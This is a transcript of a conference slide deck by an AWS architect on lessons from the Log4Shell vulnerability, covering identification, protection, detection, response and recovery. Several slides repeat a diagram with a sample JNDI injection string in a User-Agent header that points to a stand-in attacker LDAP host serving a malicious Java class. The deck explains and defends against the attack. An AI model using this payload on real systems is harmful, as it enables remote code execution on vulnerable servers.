Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Log4Shell - Lessons learned

Log4Shell - Lessons learned

In der Vorweihnachtszeit wurden viele IT-Abteilungen von Sicherheitslücken im weitverbreiteten Java-Logging-Framework Apache Log4J kalt erwischt. Diese Session fasst das Ereignis zusammen und beantwortet die folgenden Fragen, um zukünftig in ähnlichen Situationen schneller reagieren zu können:

- Welche Möglichkeiten bieten Web, DNS und Netzwerk-Firewalls, um eine Ausnutzung derartiger Lücken zu verhindern?
- Welche Tools kann ich nutzen, um bspw. mit Hilfe automatisierter Scans und Analysen des Netzwerkverkehrs festzustellen, welche Bestandteile meiner IT-Infrastruktur betroffen sind?
- Wie kann ich mit Legacy-Anwendungen umgehen, die ich nicht aktualisieren kann?
- Wie sollte ich mein Deployment und Betriebsabläufe modernisieren, um Patching zukünftig schneller realisieren zu können?

Dennis Kieselhorst

July 06, 2022
Tweet

More Decks by Dennis Kieselhorst

Other Decks in Technology

Transcript

  1. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4Shell -
    Lessons learned
    Dennis Kieselhorst
    Sr. Solutions Architect
    Amazon Web Services

    View full-size slide

  2. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Agenda
    • Zero-Day?
    • Log4j Zero-Day, reactions and common themes
    • Proactive measures aligned to the NIST Cybersecurity Framework
    • Identify
    • Protect
    • Detect
    • Respond
    • Recover
    • Quick Wins & Long Term Strategies
    • Q&A

    View full-size slide

  3. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Zero-Day?
    3

    View full-size slide

  4. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    A zero-day is a computer-software
    vulnerability previously unknown to
    those who should be interested in its
    mitigation, like the vendor of the target
    software.
    Wikipedia
    https://en.wikipedia.org/wiki/Zero-day_(computing)
    4

    View full-size slide

  5. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j Zero-Day
    5

    View full-size slide

  6. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j JNDI vulnerability
    Vulnerable Server
    http://victim.xa
    Attacker
    The LDAP server responds with directory
    information that contains the malicious Java
    class
    Malicious LDAP Server
    ldap://evil.xa
    An attacker inserts the JNDI lookup in a
    header field that is likely to be logged
    GET /test HTTP/1.1
    Host: victim.xa
    User-Agent: ${jndi:ldap://evil.ca/x}
    Log4j interpolates the
    string and queries the
    malicious LDAP server
    ${jndi:ldap://evil.ca/x}
    ldap://evil.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://evil.xa
    javaSerializedData: <...>
    Vulnerable Log4j
    implementation
    Java deserializes
    (or downloads)
    the malicious
    Java Class and
    executes it.
    1. 2. 3.
    4.
    5.

    View full-size slide

  7. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j related CVE records
    The Common Vulnerabilities and Exposures (CVE) programs mission
    is to identify, define, and catalog publicly disclosed cybersecurity
    vulnerabilities.
    Dictionary entry Description Score (CVSS/ EPSS)
    CVE-2021-44228 JNDI vulnerability mentioned on previous slide 10.0 Critical 95,10%
    CVE-2021-44832
    remote code execution (RCE) possible in
    combination with JDBC Appender
    6.6 Medium 68,64%
    CVE-2021-45046 fix to address CVE-2021-44228 was incomplete 9.0 Critical 71,95%
    CVE-2021-45105
    denial of service possibility when a crafted
    string is interpreted
    5.9 Medium 33,57%
    The Common Platform Enumeration (CPE) is a structured naming scheme in
    XML format for IT systems, software, and packages. This formal format allows
    checking and testing.

    View full-size slide

  8. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Immediate AWS customer reactions
    How do I figure out
    if this is in my
    environment?
    Is AWS using Log4j?
    Which version?
    Which AWS services
    are affected?
    Should I get rid of
    Open Source
    software?
    How do I protect my
    environment?
    How do I remediate
    across my
    environment?

    View full-size slide

  9. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Two other Zero-day examples besides Log4j
    Confluence (CVE-2022-26134)
    Atlassian Confluence is a web-based
    corporate wiki software/
    collaboration platform.
    The vulnerability allows an
    unauthenticated user to execute
    arbitrary code.
    Insufficient input validation leads to
    Object-Graph Navigation Language
    (OGNL) evaluation.
    Spring4Shell (CVE-2022-22965)
    Spring is a famous framework for
    Java-based enterprise applications.
    Web applications may be vulnerable
    to remote code execution (RCE) when
    deployed as web application archive
    (WAR) on Tomcat.
    The issue relates to data binding used
    to populate an object from request
    parameters (either query parameters
    or form data).

    View full-size slide

  10. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    What did these have in common?
    Crafted traffic caused
    systems to respond with
    sensitive data
    Actors used these
    vulnerabilities to gather
    credentials or execute
    commands remotely
    Widely used technology
    requiring widespread
    patching to address issue
    Persistence techniques
    were commonly used
    after initial compromise

    View full-size slide

  11. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    OWASP Top10
    Source: https://www.owasptopten.org/the-release-of-the-owasp-top-10-2021
    Creative Commons Attribution-ShareAlike 4.0 International Public License

    View full-size slide

  12. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Proactive measures
    aligned to the NIST
    Cybersecurity Framework
    12

    View full-size slide

  13. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    NIST CSF Overview
    • Framework for Improving Critical
    Infrastructure Cybersecurity
    • Initially published by The National
    Institute of Standards and
    Technology (NIST) in 2014.
    • Framework Core consists of five
    concurrent and continuous
    Functions to provide a high-level,
    strategic view of the lifecycle of an
    organization’s management of
    cybersecurity risk.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  14. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Identify
    Develop the organizational
    understanding to manage
    cybersecurity risk to systems, assets,
    data, and capabilities.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  15. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Configuration management
    Inventory and configuration management
    • What is currently out there?
    • What is the latest configuration state of my
    resources?
    • What relationships exist between my resources?
    • What configuration changes occurred in the
    past?
    • Which resources have violated compliance
    policies?
    Governance and compliance management
    • Are my resources properly configured?
    • Do my resources comply with regulatory
    requirements
    • How do I ensure continuous compliance?
    • How can I get notified in near real-time if
    resource(s) go out of compliance?
    15
    Changing resources AWS Config
    Normalized
    AWS Config rules
    Notifications
    API access
    History, snapshot
    Example:

    View full-size slide

  16. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Infrastructure as code (IaC)
    Reliably and consistently provisioning
    and configuring infrastructure is
    foundational for DevOps and fast
    software delivery
    Manual infrastructure processes can
    lack consistency, a single
    source of truth, and reliable
    detection/remediation of
    provisioning errors
    Examples: AWS CloudFormation, AWS
    CDK, HashiCorp Terraform

    View full-size slide

  17. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Software dependency management
    Software bill of materials (SBOM)
    • inventory of components used to build a software architect
    • formal and machine-readable metadata
    • provide transparency in software supply chain
    Software Package Data Exchange (SPDX)
    • open standard for communicating SBOM information
    • ISO/IEC 5962:2021
    17

    View full-size slide

  18. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j JNDI vulnerability
    Vulnerable Server
    http://victim.xa
    Attacker
    The LDAP server responds with directory
    information that contains the malicious Java
    class
    Malicious LDAP Server
    ldap://evil.xa
    An attacker inserts the JNDI lookup in a
    header field that is likely to be logged
    GET /test HTTP/1.1
    Host: victim.xa
    User-Agent: ${jndi:ldap://evil.ca/x}
    Log4j interpolates the
    string and queries the
    malicious LDAP server
    ${jndi:ldap://evil.ca/x}
    ldap://evil.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://evil.xa
    javaSerializedData: <...>
    Vulnerable Log4j
    implementation
    Java deserializes
    (or downloads)
    the malicious
    Java Class and
    executes it.
    1. 2. 3.
    4.
    5.

    View full-size slide

  19. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Protect
    Develop and implement the
    appropriate safeguards to ensure
    delivery of critical infrastructure
    services.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  20. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Network, DNS and Web Application Firewalls
    Network Firewall
    Packet filtering
    • IP block/ allow lists
    • Stateless/ stateful rules
    • FQDN filtering on
    HTTP/HTTPS
    • Protocol detection/
    enforcement
    DNS Firewall
    DNS Filtering
    • Domain name based filtering
    • Custom deny actions
    (NXDOMAIN, OVERRIDE,
    NoData)
    • Filtering on Resolver and
    Resolver Endpoints
    Web Application Firewall (WAF)
    Request filtering
    • SQL injection and cross-site
    scripting (XSS) attack
    detection
    • OWASP Top10 web
    application vulnerabilities
    • Bot protection and IP
    reputation list
    • Pattern matching (Regex)
    • Rate-limiting
    20
    AWS Network Firewall AWS Route 53
    Resolver DNS Firewall
    AWS WAF
    Example services:

    View full-size slide

  21. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j JNDI vulnerability
    Vulnerable Server
    http://victim.xa
    Attacker
    The LDAP server responds with directory
    information that contains the malicious Java
    class
    Malicious LDAP Server
    ldap://evil.xa
    An attacker inserts the JNDI lookup in a
    header field that is likely to be logged
    GET /test HTTP/1.1
    Host: victim.xa
    User-Agent: ${jndi:ldap://evil.ca/x}
    Log4j interpolates the
    string and queries the
    malicious LDAP server
    ${jndi:ldap://evil.ca/x}
    ldap://evil.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://evil.xa
    javaSerializedData: <...>
    Vulnerable Log4j
    implementation
    Java deserializes
    (or downloads)
    the malicious
    Java Class and
    executes it.
    1. 2. 3.
    4.
    5.
    Block incoming request Block outgoing query

    View full-size slide

  22. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Detect
    Develop and implement the
    appropriate activities to identify the
    occurrence of a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  23. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Logging (Observability)
    • Record all environment activity
    • Monitor IP traffic in and out of
    network interfaces
    • Monitor DNS traffic using DNS
    resolver (like Route 53)
    • Collect metrics in Cloud (on AWS)
    and on premises.
    Amazon
    CloudWatch
    DNS Resolver query
    logging
    Flow logs
    AWS CloudTrail
    Example services:

    View full-size slide

  24. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Tools for scanning and analysis
    • Based on log data sources:
    ▪ Enable continuous monitoring and analysis
    ▪ Use threat intelligence feeds and machine learning to
    detect unauthorized activity
    ▪ Simplify forensics
    • On virtual machines and container images:
    ▪ Discover vulnerabilities
    ▪ Prioritize patch remediation
    • Inside application source code:
    ▪ Proactively improve code quality
    ▪ Fix security vulnerabilities
    24
    Amazon GuardDuty
    Example services:
    Amazon Inspector
    Amazon CodeGuru

    View full-size slide

  25. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Respond
    Develop and implement the
    appropriate activities to take action
    regarding a detected cybersecurity
    issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  26. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Foundation of Incident Response
    • Educate your security operations and incident response staff.
    • Prepare your incident response team to detect and respond to
    incidents by enabling detective capabilities, and ensuring
    appropriate access to the necessary tools and services.
    • Simulate both expected and unexpected security events within
    your cloud environment to understand the effectiveness of your
    preparation.
    • Iterate on the outcome of your simulation to improve the scale of
    your response posture, reduce time to value, and further reduce
    risk.
    26

    View full-size slide

  27. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Playbooks/ Runbooks
    • Establish formalized incident response processes
    • Can also help to comply with regulatory frameworks (like GDPR)
    • Don‘t have any? Dive in…
    • Resources:
    ▪ https://github.com/aws-samples/aws-incident-response-playbooks
    ▪ https://github.com/aws-samples/aws-customer-playbook-framework
    ▪ https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-
    response-guide/welcome.html
    27

    View full-size slide

  28. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Automation
    Speed
    Deploy many times a day
    instead once every few
    months
    Repeatability
    Never send a human to do a
    machine’s job. Humans are
    error-prone
    Confidence
    If you’re not sure whether it’ll
    work, you’ll hesitate. That
    slows you down and keeps you
    from fixing problems
    Transparency
    Automated processes are
    easier to measure and improve

    View full-size slide

  29. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Example: AWS Developer Tools for modern
    software delivery
    DEPLOY
    TEST
    BUILD
    SOURCE/
    ARTIFACT
    AUTHOR
    AWS Cloud9
    AWS IDE Toolkits
    AWS
    CodeBuild
    AWS
    CodeCommit
    AWS
    CodeDeploy
    AWS CodeBuild
    + Third Party
    AWS CodePipeline
    MODEL AWS CloudFormation AWS SAM
    AWS Cloud Development Kit
    AWS
    CodeArtifact

    View full-size slide

  30. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Example: AWS Systems Manager
    E N A B L E S C E N T R A L I Z E D C L O U D O P E R A T I O N S
    Group Resources
    Create groups of
    resources across
    different AWS
    services, such as
    applications or
    different layers of
    an application stack
    Take Action
    Respond to insights
    and automate
    operational actions
    across resource
    groups.
    Visualize Data
    View aggregated
    operational data by
    resource group
    AWS Systems
    Manager
    Systems
    Manager helps
    you safely
    manage and
    operate your
    resources at
    scale

    View full-size slide

  31. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Log4j JNDI vulnerability
    Vulnerable Server
    http://victim.xa
    Attacker
    The LDAP server responds with directory
    information that contains the malicious Java
    class
    Malicious LDAP Server
    ldap://evil.xa
    An attacker inserts the JNDI lookup in a
    header field that is likely to be logged
    GET /test HTTP/1.1
    Host: victim.xa
    User-Agent: ${jndi:ldap://evil.ca/x}
    Log4j interpolates the
    string and queries the
    malicious LDAP server
    ${jndi:ldap://evil.ca/x}
    ldap://evil.ca/x
    The string is passed to
    Log4j for logging
    public class Malicious implements Serializable {
    ...
    static {

    }
    ...
    }
    dn:
    javaClassName: Malicious
    javaCodebase: http://evil.xa
    javaSerializedData: <...>
    Vulnerable Log4j
    implementation
    Java deserializes
    (or downloads)
    the malicious
    Java Class and
    executes it.
    1. 2. 3.
    4.
    5.
    Block incoming request Block outgoing query
    Patch log4j
    Disable JNDI lookups
    Disable log4j
    Disable remote codebases

    View full-size slide

  32. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Recover
    Develop and implement the
    appropriate activities to maintain
    plans for resilience and to restore
    any capabilities that were impaired
    due to a cybersecurity issue.
    RECOVER IDENTIFY
    RESPOND PROTECT
    DETECT

    View full-size slide

  33. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Strategies for disaster recovery
    Backup & restore Pilot light Active/active
    Warm standby
    RPO / RTO:
    Hours
    RPO / RTO:
    10s of minutes
    RPO / RTO:
    Minutes
    RPO / RTO:
    Real-time
    • Lower-priority use cases
    • Provision all AWS resources
    after event
    • Restore backups after event
    • Cost $
    • Data live
    • Services idle
    • Provision some AWS resources
    and scale after event
    • Cost: $$
    • Always running, but smaller
    • Business critical
    • Scale AWS resources after event
    • Cost $$$
    • Zero downtime
    • Near-zero data loss
    • Mission Critical
    Services
    • Cost $$$$
    Active/passive strategies

    View full-size slide

  34. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Quick Wins & Long Term
    Strategies
    34

    View full-size slide

  35. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Quick Wins
    • Implement basic egress controls,
    e.g. DNS Firewall
    • Implement tools like Amazon
    GuardDuty across your organization
    • Use managed WAF Rules (as
    provided e.g. in AWS WAF)
    • Use Network Address Control Lists
    (NACLs) to control traffic

    View full-size slide

  36. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Long Term Strategies
    • Determine risk across environment
    to drive priorities
    • Define process for fleet wide
    patching
    • Identify and enable a quick
    response team from across your
    organization
    • Get rid of unneeded (transitive)
    dependencies inside your
    applications
    • Develop and test playbooks for
    patching and response

    View full-size slide

  37. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Q&A
    37

    View full-size slide

  38. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Resources
    • AWS Log4j2 security bulletin:
    https://aws.amazon.com/security/security-bulletins/AWS-2021-
    006/
    • AWS Blog post: https://aws.amazon.com/blogs/security/using-
    aws-security-services-to-protect-against-detect-and-respond-to-
    the-log4j-vulnerability/
    38

    View full-size slide

  39. DEVELOPER WEEK 2022 – LOG4SHELL – LESSONS LEARNED
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Thank you!
    © 2022, Amazon Web Services, Inc. or its affiliates.
    Dennis Kieselhorst
    linkedin.com/in/kieselhorst/

    View full-size slide